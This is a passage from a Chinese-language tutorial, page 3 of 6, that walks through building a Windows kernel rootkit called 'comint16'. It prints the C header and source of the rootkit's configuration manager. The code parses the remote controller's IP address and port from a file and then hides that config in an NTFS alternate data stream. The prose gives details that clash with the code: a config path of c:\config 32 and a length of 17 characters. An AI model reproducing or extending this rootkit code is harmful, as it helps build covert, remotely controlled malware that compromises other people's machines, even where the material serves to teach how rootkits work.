我们的rootkit主体已经建好,不过要想让它干活,还得做些必要的配置。比如,如果需要对其进行远程控制的话,就需要配置相应的连接。所以,我们还需要一个配置管理器,来完成配置rootkit的工作。下面是Rootkit配置管理器的头文件:
// configManager.h // 配置管理器的头文件 #ifndef _CONFIG_MANAGER_H_ #define _CONFIG_MANAGER_H_ Char masterPort[10]; Char masterAddress1[4]; Char masterAddress2[4]; Char masterAddress3[4]; Char masterAddress4[4]; NTSTATUS Configure(); #endif |
我们的头文件configManager.h比较简单,前面部分定义的数据结构用于控制端的通信地址和通信端口。最后声明了一个函数。接下来,我们看一下配置管理器的源代码:
// configManager.c
// 首先从c:\config16寻找配置文件
// If it's there, save as MASTER_FILE:config16 and delete c:\config16
// If it's not there, try MASTER_FILE:configFile
// If that doesn't exist, quit!
#include "ntddk.h"
#include "fileManager.h"
#include "configManager.h"
// Set the controllers IP and port
NTSTATUS Configure()
{
CHAR data[21];
SHORT vis = 0;
SHORT loop;
SHORT dataIndex;
SHORT addressIndex;
ULONG fileSize;
PHANDLE fileHandle;
//了解读哪个文件
if( NT_SUCCESS( GetFile( L"\\??\\C:\\config16", data, 21, &fileSize ) ) )
{
DbgPrint("comint16: Reading config from visible file.");
vis = 1;
}
else
{
if( NT_SUCCESS( GetFile( L"config16", data, 21, &fileSize ) ) )
{
DbgPrint("comint16: Reading config from hidden file.");
}
else
{
DbgPrint("comint16: Error. Could not find a config file.");
return STATUS_UNSUCCESSFUL;
}
}
//将控制端地址和端口转换成aaa.bbb.ccc.ddd:eeeee格式
dataIndex = 0;
addressIndex = 0;
// First 3 are xxx of xxx.111.111.111:11111
for( loop = 0; loop < 3; loop++ )
masterAddress1[addressIndex++] = data[dataIndex++];
masterAddress1[addressIndex] = 0;
addressIndex = 0; //复位
dataIndex++; //跳过点号“.”
//接下来是111.xxx.111.111:11111中的xxx
for( loop = 0; loop < 3; loop++ )
masterAddress2[addressIndex++] = data[dataIndex++];
masterAddress2[addressIndex] = 0;
addressIndex = 0; //复位
dataIndex++; //跳过点号“.”
//然后处理111.111.xxx.111:11111中的xxx
for( loop = 0; loop < 3; loop++ )
masterAddress3[addressIndex++] = data[dataIndex++];
masterAddress3[addressIndex] = 0;
addressIndex = 0; //复位
dataIndex++; //跳过点号“.”
//然后处理111.111.111.xxx:11111中的xxx
for( loop = 0; loop < 3; loop++ )
masterAddress4[addressIndex++] = data[dataIndex++];
masterAddress4[addressIndex] = 0;
addressIndex = 0; //复位
dataIndex++; //跳过冒号“:”
//接下来的五位数是111.111.111.111:xxxxx中的端口号xxxxx
for( loop = 0; loop < 5; loop++ )
masterPort[addressIndex++] = data[dataIndex++];
masterPort[addressIndex] = 0;
DbgPrint( "comint16: Using %s.%s.%s.%s:%s",
masterAddress1,
masterAddress2,
masterAddress3,
masterAddress4,
masterPort);
if( vis == 1 )
{
DbgPrint("comint16: Saving config to hidden file.");
PutFile( L"config16", data, fileSize );
DbgPrint("comint16: You may delete the visible file.");
}
return STATUS_SUCCESS;
}
|
以上是配置管理器的源代码。该配置管理器的作用很明显,就是从一个文件中读取17个字符。不过存放这些字符的文件的位置反倒有点复杂:当我们第一次安装rootkit时,该配置文件必须位于c:\config 32,如果配置文件不在这里,rootkit会安静地“结束”;当rootkit激活后,它会把这个配置文件以交换数据流(ADS)形式隐藏起来。
上面提到了用交换数据流来隐藏文件。也许您对这个概念还不太熟悉,那好,下面我们就开始介绍交换数据流。
| 共6页: 上一页 [1] [2] 3 [4] [5] [6] 下一页 | ||||||||
|
|
||||
| · iSCSI应用与发展 · CISSP认证成长之路 · 隐私保护技术探讨 · 华为员工自杀频频拷问.. · FTTx光纤接入 · Windows Server 2008专.. · 开源虚拟化技术Xen · WCF开发基础 |
· Linux——从菜鸟到高手 · 微软出价446亿美元收购.. · SQL Server 2008/2005.. · RAID——磁盘阵列基础 · 微软Forefront企业安全.. · 如何优化IT 控制能耗 · 国际文档格式标准开战 · 珊瑚虫QQ作者侵权案开庭 |
|||
|
||||
| · VPN技术 · iSCSI应用与发展 · SQL Server 2008/2005.. · SQL Server 2008/2005.. · iSCSI应用与发展 · RAID——磁盘阵列基础 · 中间件应用技术专题 · 深入了解PGP加密技术 |
· 病毒查杀专题 · VPN技术 · 国际文档格式标准开战 · SSL VPN详细知识 · Linux防火墙 · 打造安全服务器 · Sniffer安全技术从入门.. · 木马原理与防范 |
|||
|
||||
| · SQL Server 2008/2005.. · iSCSI应用与发展 · 中间件应用技术专题 · SQL Server 2008/2005.. · iSCSI应用与发展 · RAID——磁盘阵列基础 · 身份认证技术 · 病毒查杀专题 |
· 清除流氓软件——51CTO.. · SSL VPN详细知识 · Sniffer安全技术从入门.. · VPN技术 · 了解统一威胁管理(UTM).. · 网络钓鱼 · ADSL应用面面俱到 · ADSL应用面面俱到 |
|||